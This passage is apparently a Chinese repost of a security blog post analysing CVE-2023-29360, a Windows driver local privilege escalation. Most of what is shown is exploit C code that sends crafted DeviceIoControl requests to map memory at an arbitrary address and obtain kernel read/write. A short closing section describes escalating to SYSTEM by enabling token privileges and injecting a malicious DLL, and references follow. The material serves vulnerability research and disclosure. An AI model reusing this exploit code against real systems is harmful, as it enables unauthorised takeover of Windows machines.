*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream
// Create Server Handle
hDeviceServer = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
printf("[+] Register Streamn");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &2 == Non ZERO
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL); // NON ZERO
// Register Stream to Server Handle
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // RegisterStream
ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %pn", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/Wn");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x6C) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // 1,4,8
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // ComsumeTx
DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);
printf("[*] mapaddr : %pn", mapaddr);
从这里,我们可以使用任何首选方法,使用给定的任意读/写原语来提升权限。
在我们的N-day完整链中,我们在 token 对象中启用特权位,并将恶意 dll 注入 SYSTEM 特权进程以获取代码执行。(有关此技术,您可以参考 Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012。
结论
这篇文章提供了对 CVE-2023–29360 的分析,该分析在我们为期N-day的全链演示中被利用。下一篇文章将介绍 CVE-2023–34044,这是 Theori( @pr0ln) 发现的 VMware 信息泄漏,它是 CVE-2023–20870 的变体。
参考
-
https://github.com/Nero22k/cve-2023-29360
-
https://big5-sec.github.io/posts/CVE-2023-29360-analysis/
-
https://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html
-
https://shhoya.github.io/windows_MDL.html
-
https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System
https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统